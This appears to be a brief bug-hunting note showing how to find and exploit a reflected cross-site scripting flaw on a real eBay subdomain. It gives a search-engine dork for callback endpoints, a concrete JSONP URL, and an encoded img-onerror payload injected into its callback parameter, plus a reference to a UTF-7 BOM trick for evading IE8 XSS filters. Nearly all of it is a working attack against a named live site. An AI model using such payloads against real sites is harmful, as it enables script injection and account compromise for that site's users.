site:ebay.com inurl:callback
Returns:
http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=?
then:
http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=?xxxx%3Cimg%20src=1%20onerror=alert(1)%3E
Can also use: http://seclists.org/fulldisclosure/2011/Feb/199 XSS through UTF7-BOM string injection to bypass IE8 XSS Filters